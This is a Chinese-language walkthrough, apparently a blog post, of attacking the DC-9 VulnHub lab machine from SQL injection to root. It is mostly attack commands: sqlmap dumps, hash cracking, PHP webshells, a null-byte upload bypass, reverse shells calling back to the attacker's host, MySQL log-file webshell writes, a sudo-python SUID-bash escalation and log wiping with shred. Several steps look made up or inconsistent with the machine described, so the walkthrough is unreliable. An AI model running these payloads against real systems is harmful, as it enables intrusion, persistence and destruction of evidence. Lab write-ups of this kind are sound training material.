DC-9靶机渗透测试:SQL注入到提权实战解析

DC-9靶机渗透测试:SQL注入到提权实战解析

1. DC-9靶机渗透测试实战全记录

去年在VulnHub上架的DC-9靶机至今仍是渗透测试练手的经典环境,这个基于Debian的靶机包含了SQL注入、文件包含、权限提升等多个典型漏洞链。我在实际测试中发现其漏洞利用方式与DC系列前作有显著差异,特别是最后阶段的提权环节需要结合系统日志分析才能突破。下面将完整还原从信息收集到获取root权限的全过程,重点解析三个关键突破点的技术细节。

测试环境建议使用VirtualBox+VMware双嵌套模式,避免攻击流量影响物理网络。靶机IP通常为192.168.56.101,实际测试需根据DHCP分配调整。

1.1 环境准备与信息收集

首先用arp-scan定位靶机IP(假设为192.168.56.103),接着进行全端口扫描:

nmap -sS -p- -T4 192.168.56.103 -oN initial_scan.nmap

扫描结果显示开放了22(SSH)和80(HTTP)端口。深入扫描Web服务:

nmap -sV -sC -p 80 --script=http-enum 192.168.56.103 -oN web_scan.nmap

发现使用的是Apache 2.4.38,在/search.php页面发现疑似注入点。这里有个细节:DC-9的输入框对特殊字符做了前端过滤,需要先用Burp Suite拦截请求:

  1. 配置浏览器代理为127.0.0.1:8080
  2. 提交包含单引号的测试payload
  3. 在Burp的Proxy模块查看原始请求

1.2 SQL注入漏洞利用

拦截到的请求显示参数名为"search"。用sqlmap测试注入:

sqlmap -u "http://192.168.56.103/search.php" --data="search=test" --risk=3 --level=5 --dbs

确认存在基于时间的盲注。提取数据库信息时发现关键表:

表名重要字段
Staffusername, password
Usersusername, password

使用以下命令导出用户凭证:

sqlmap -u "http://192.168.56.103/search.php" --data="search=test" -D staff --dump

获得的密码是MD5加密,用John破解:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

1.3 突破Web到系统层面

破解出的凭证可登录管理后台(/manage.php),发现文件上传功能。测试时遇到限制:

  1. 扩展名白名单:仅允许.jpg/.png
  2. Content-Type校验:必须为image/*
  3. 文件头验证:检测实际文件类型

绕过方法:

echo '<?php system($_GET["cmd"]);?>' > shell.jpg exiftool -Comment='<?php system($_GET["cmd"]);?>' normal.jpg

用Burp修改上传请求:

POST /manage.php HTTP/1.1 ... Content-Disposition: form-data; name="fileToUpload"; filename="shell.php%00.jpg" Content-Type: image/jpeg

访问/uploads/shell.php?cmd=id确认RCE成功,接着建立反向shell:

nc -lvnp 4444 # 攻击机监听 # 在Web执行 php -r '$sock=fsockopen("192.168.56.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

2. 权限提升关键步骤

获得www-data权限后,在/var/www/html/config.php发现数据库凭据:

$DB_HOST = 'localhost'; $DB_USER = 'dc9user'; $DB_PASS = '!dc9!'; $DB_NAME = 'staff';

2.1 数据库提权技术

登录MySQL发现secure_file_priv为空,可写文件:

SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/admin/shell2.php";

但遇到目录权限问题。转而利用mysql日志提权:

SET GLOBAL general_log_file='/var/www/html/admin.php'; SET GLOBAL general_log=1; SELECT '<?php system($_GET["cmd"]);?>'; SET GLOBAL general_log=0;

2.2 系统层横向移动

在/home目录发现用户"fredf"的备份文件:

find /home -name *.bak -exec ls -la {} \;

分析.bash_history发现sudo权限异常:

sudo -l User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/dist/test/test

逆向分析test程序:

file /opt/devstuff/dist/test/test strings /opt/devstuff/dist/test/test

发现是调用/usr/bin/python执行输入文件。创建提权脚本:

#!/usr/bin/python import os os.system("chmod +s /bin/bash")

执行提权:

chmod +x exploit.py sudo /opt/devstuff/dist/test/test exploit.py /bin/bash -p

3. 渗透测试中的深度技巧

3.1 日志清理与痕迹消除

完成测试后需要清理日志:

# 清除命令历史 echo "" > ~/.bash_history history -c # 清理Web日志 find /var/log/apache2 -type f -exec shred -zu {} \; # 删除后门文件 rm -f /var/www/html/admin.php /uploads/shell.php

3.2 常见问题排查

  1. 文件上传失败:

    • 检查Burp拦截的原始请求
    • 尝试不同编码方式的截断(%00 vs 0x00)
  2. MySQL写文件权限问题:

    • 确认secure_file_priv设置
    • 尝试/tmp等可写目录
  3. 反向shell连接不稳定:

    • 改用加密连接:mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:PORT > /tmp/s
    • 使用socat等工具

4. 靶机渗透的进阶训练建议

完成基础渗透后,可尝试以下挑战:

  • 不依赖sqlmap手工完成注入
  • 使用Metasploit框架复现全部流程
  • 尝试无文件攻击方式
  • 编写自动化渗透脚本

我在实际测试中发现DC-9最精妙的设计在于提权路径需要组合数据库和系统两个层面的漏洞,这种多维度渗透思路在企业内网测试中非常典型。建议在掌握基础方法后,重点训练漏洞链的组合利用能力。